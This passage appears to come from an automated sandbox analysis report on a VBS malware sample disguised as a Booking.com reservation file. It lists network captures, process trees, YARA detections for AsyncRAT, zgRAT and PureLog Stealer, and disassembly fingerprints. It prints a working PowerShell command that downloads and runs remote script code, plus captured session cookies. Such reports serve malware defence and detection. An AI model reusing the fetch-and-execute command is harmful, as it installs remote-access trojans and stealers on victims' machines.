https://asanalytics.booking.com/CvvXMUccr6E3ph3y?1cc01da8db961767=JI3-jrpjkLDyhGzKSUTSYtpoAduuUYP77Psm1XOnM8MEueBfEP1sgw7TFuJx1He3WMkZhzXTcFNgsaU2N6ulYOsAzwZQOziO13H7hSsyK74g0wjMDtUYrU0VjQbTgv6z0i3CWpbiUUCaEn88HtSHELr83bCmVMD1BifcwHWMkBXgqPPpmxiDTP8pSHI1qymVAWAQ-SGsxgfxrgTrLsE Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
2024-11-02 13:00:28 UTC	420	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:28 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Connection: Keep-Alive, close X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Vary: Accept-Encoding Transfer-Encoding: chunked
2024-11-02 13:00:28 UTC	140	IN	Data Raw: 38 36 0d 0a 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 22 35 37 31 38 46 41 42 42 30 30 32 45 22 2c 22 41 41 7a 79 6f 78 56 50 70 4c 66 30 2d 6c 75 4b 69 4d 75 49 59 6b 36 39 51 4e 4a 66 69 43 4b 72 70 6e 51 31 69 4e 53 6d 4b 50 38 57 43 64 5f 46 53 31 70 34 6e 79 49 63 36 69 4b 6a 7a 75 2d 68 4b 6b 52 6f 32 6e 64 35 37 49 4b 39 38 77 30 69 35 42 64 4e 67 32 4a 66 35 41 48 57 63 77 22 29 3b 0d 0a Data Ascii: 86localStorage.setItem("5718FABB002E","AAzyoxVPpLf0-luKiMuIYk69QNJfiCKrpnQ1iNSmKP8WCd_FS1p4nyIc6iKjzu-hKkRo2nd57IK98w0i5BdNg2Jf5AHWcw");
2024-11-02 13:00:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.5	49899	91.235.133.10	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:28 UTC	6667	OUT	GET /AQL5SM1NVAqeb4XN?4aed018665df677a=c2qMIlWahQb2QgdDVhil6KSN8n-LtiVi2t4HZwq8njEC8ZIGdL5XBhfh9_yKY74sZdOLoHptvp8dNXi8Uczsd-sN1mheva74QIkDd0fUyKlsYR8hhCHU81JwAcmOF5Epq0vqnLO4h4w10WHbs8Wl1HIA_Wo&ja=323431352626613f2531303024723d3432266e3d39303a38703130323c2469643d33323a3078393a3426717a713f31307a39302466707a3d392e333a30302c3138303c2e313038322c3938362c3132313c2e383732243132373024393e362e39382c31302e6f7c3f3235663731643333343967346a6432303b6a363460643b383f6032696e3363342e6f663f32247361643d3236266c6a3f60767470712d334327324e253a44636b6b6f756e7c2c6a6d6f69696c672e636d6d2530447b6b676e2f616e273146677057766d636d6e25334c476f54765b5854306143497941536d5d4c6c6f31456d3b4b543a51724c693d7d4e33707a4f3b4070616d65534357443164456a7e616d6c3452526d6361405238614a453e4c793960584f33706069376962323b72615537664e6d4e746a533a734f6673615b5a5e38614639606640506c6058403058326e6b49686d614c6a41374757486a4e4c597c5b566f724f4330384f6261774e54697a5a444b744e6f5061585455334754406a593a52614b6c38714b325662563a485854555377636e447a4d47334b4c3038325f6d6a4d [TRUNCATED] Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
2024-11-02 13:00:28 UTC	182	IN	HTTP/1.1 204 204 Date: Sat, 02 Nov 2024 13:00:28 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Content-Type: text/javascript;charset=UTF-8 Connection: close

Target ID:	0
Start time:	08:59:59
Start date:	02/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Reservation Detail Booking.com ID4336.vbs"
Imagebase:	0x7ff79b640000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:00:00
Start date:	02/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTI
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	09:00:00
Start date:	02/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass [scriptblock]::Create((Invoke-WebRequest 'https://skynetx.com.br/license/2/image.txt').Content).Invoke();
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:00:00
Start date:	02/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:00:00
Start date:	02/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	09:00:00
Start date:	02/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=1984,i,9762383119870313274,9992457861724981690,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	09:00:21
Start date:	02/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4008 --field-trial-handle=1984,i,9762383119870313274,9992457861724981690,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	09:00:21
Start date:	02/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5528 --field-trial-handle=1984,i,9762383119870313274,9992457861724981690,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:00:38
Start date:	02/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Desktop.ini.vbs"
Imagebase:	0x7ff79b640000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:00:38
Start date:	02/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" "
Imagebase:	0x7ff70cb20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:00:38
Start date:	02/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:00:38
Start date:	02/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 0000000E.00000002.2525569057.000002A163308000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Asyncrat_11a11ba1, Description: unknown, Source: 0000000E.00000002.2525569057.000002A163308000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000E.00000002.3131786899.000002A173172000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	09:00:39
Start date:	02/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\Public\1tron.vbs"
Imagebase:	0x7ff79b640000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	09:00:40
Start date:	02/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" "
Imagebase:	0x7ff70cb20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	09:00:40
Start date:	02/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	09:00:40
Start date:	02/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000012.00000002.2545216517.0000025DC64F7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Asyncrat_11a11ba1, Description: unknown, Source: 00000012.00000002.2545216517.0000025DC64F7000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000012.00000002.4289984236.0000025DD6364000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Analysis Process: aspnet_regbrowsers.exePID: 1532, Parent PID: 2608

General

Target ID:	20
Start time:	09:00:47
Start date:	02/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
Imagebase:	0x3e0000
File size:	46'112 bytes
MD5 hash:	BB8B6B54FD50C08AB579B84BF07918CF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	09:00:48
Start date:	02/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
Imagebase:	0x380000
File size:	46'112 bytes
MD5 hash:	BB8B6B54FD50C08AB579B84BF07918CF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	09:00:51
Start date:	02/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\Public\1tron.vbs"
Imagebase:	0x7ff79b640000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: cmd.exePID: 2820, Parent PID: 2292

General

Target ID:	23
Start time:	09:00:51
Start date:	02/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" "
Imagebase:	0x7ff70cb20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: conhost.exePID: 6132, Parent PID: 2820

General

Target ID:	24
Start time:	09:00:51
Start date:	02/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	09:00:51
Start date:	02/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"
Imagebase:	0x7ff6a5670000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: 00000019.00000002.2683417617.00000187865B0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000019.00000002.2683417617.00000187865B0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_zgRAT, Description: Detects zgRAT, Source: 00000019.00000002.2683417617.00000187865B0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000019.00000002.2685245996.0000018786848000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Asyncrat_11a11ba1, Description: unknown, Source: 00000019.00000002.2685245996.0000018786848000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Analysis Process: aspnet_regbrowsers.exePID: 5292, Parent PID: 6256

General

Target ID:	26
Start time:	09:01:01
Start date:	02/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
Imagebase:	0x280000
File size:	46'112 bytes
MD5 hash:	BB8B6B54FD50C08AB579B84BF07918CF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	09:01:05
Start date:	02/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\Public\1tron.vbs"
Imagebase:	0x7ff79b640000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: cmd.exePID: 2448, Parent PID: 5384

General

Target ID:	28
Start time:	09:01:05
Start date:	02/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" "
Imagebase:	0x7ff70cb20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: conhost.exePID: 2884, Parent PID: 2448

General

Target ID:	29
Start time:	09:01:05
Start date:	02/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	09:01:05
Start date:	02/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 0000001E.00000002.2848842485.000001ED13F57000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Asyncrat_11a11ba1, Description: unknown, Source: 0000001E.00000002.2848842485.000001ED13F57000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Analysis Process: aspnet_regbrowsers.exePID: 3224, Parent PID: 6824

General

Target ID:	31
Start time:	09:01:14
Start date:	02/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
Imagebase:	0xab0000
File size:	46'112 bytes
MD5 hash:	BB8B6B54FD50C08AB579B84BF07918CF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FF848CD0A6F Relevance: .8, Instructions: 825COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3776464589.00007FF848CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848cd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 877cb5558695aa68b7186c925e6d28d373af8019c5085154c88376683bd52282
Instruction ID: c3d673d3477536fa12453d421c2d57284436206cfbf3570988b00d6505854c92
Opcode Fuzzy Hash: 877cb5558695aa68b7186c925e6d28d373af8019c5085154c88376683bd52282
Instruction Fuzzy Hash: 1F321422D0DBCA4FE7A6F72C68552A57FE1EF52250F1901FBC088CB1A3DA189C45C756

Function 00007FF848CD0ED6 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3776464589.00007FF848CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848cd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 684a3ae46013cbd9391d5f2bf947dc9ed5c94b4b7254a57f5ece0923b1387577
Instruction ID: 5133dd99ff46bbcc5e2e1d470d167e456b331c272b4c5340fe32f5db519946f2
Opcode Fuzzy Hash: 684a3ae46013cbd9391d5f2bf947dc9ed5c94b4b7254a57f5ece0923b1387577
Instruction Fuzzy Hash: C121A823D0EA8A5FF7F5F22C241527866C1EF856A1F6901BAC04CC31D2EE185C454B4A

Function 00007FF848C033B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3767911855.00007FF848C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: 0bed4c64f3d8194bd4dac2133ceef11b9aec5faa1eb33dab634ab80e4c27d8fa
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 6E01677115CB0C4FDB44EF0CE451AA6B7E0FB99364F10056DE58AC3691DB36E892CB45

Non-executed Functions

Function 00007FF848C05790 Relevance: 19.1, Strings: 15, Instructions: 321COMMON

Download Yara Rule

Strings

:H, xrefs: 00007FF848C059E1
:H, xrefs: 00007FF848C05921
@:H, xrefs: 00007FF848C05941
P9H, xrefs: 00007FF848C05851
09H, xrefs: 00007FF848C05831
`9H, xrefs: 00007FF848C05861
p9H, xrefs: 00007FF848C05871
P:H, xrefs: 00007FF848C05951
0:H, xrefs: 00007FF848C05931
p:H, xrefs: 00007FF848C05971
`:H, xrefs: 00007FF848C05961
9H, xrefs: 00007FF848C05821
8H, xrefs: 00007FF848C057E1
9H, xrefs: 00007FF848C058E1
@9H, xrefs: 00007FF848C05841

Memory Dump Source

Source File: 00000003.00000002.3767911855.00007FF848C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848c00000_powershell.jbxd

Similarity

API ID:
String ID: 9H$ :H$09H$0:H$@9H$@:H$P9H$P:H$`9H$`:H$p9H$p:H$8H$9H$:H
API String ID: 0-2325096902
Opcode ID: 461ddac29c9981f3a9cdcb0b44e93478fa0dd9da8e09b278a46c78cb22367aab
Instruction ID: 9fe84d113c22d128651e624ac3689b352670573c7ec212a2e6c3555a3c42d9ea
Opcode Fuzzy Hash: 461ddac29c9981f3a9cdcb0b44e93478fa0dd9da8e09b278a46c78cb22367aab
Instruction Fuzzy Hash: F7917343E0EDC24FF395A5ECBC165792BA1FB93BE0B0902BBC048571DF692D9D069285

Function 00007FF848C05A31 Relevance: 10.2, Strings: 8, Instructions: 193COMMON

Download Yara Rule

Strings

L_I, xrefs: 00007FF848C05B04
p}H, xrefs: 00007FF848C05AD9
P~H, xrefs: 00007FF848C05BB9
`}H, xrefs: 00007FF848C05AC9
@~H, xrefs: 00007FF848C05BA9
~H, xrefs: 00007FF848C05B89
}H, xrefs: 00007FF848C05B49
0~H, xrefs: 00007FF848C05B99

Memory Dump Source

Source File: 00000003.00000002.3767911855.00007FF848C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848c00000_powershell.jbxd

Similarity

API ID:
String ID: ~H$0~H$@~H$P~H$`}H$p}H$L_I$}H
API String ID: 0-585439373
Opcode ID: 6d6297ab50f2a4778aaef46cc23972cc1f4ca36e99aa84dd80eba7aca39dc223
Instruction ID: 85a41150cd988a53dee9a21add05114f83d51fb766a56a2ca5ee9fbde45d29fe
Opcode Fuzzy Hash: 6d6297ab50f2a4778aaef46cc23972cc1f4ca36e99aa84dd80eba7aca39dc223
Instruction Fuzzy Hash: CF519353E0ED924FE395A5AC7C571783BA0FF53BE5F8841BBC048970DB7A196C068289

Function 00007FF848C05A83 Relevance: 10.2, Strings: 8, Instructions: 161COMMON

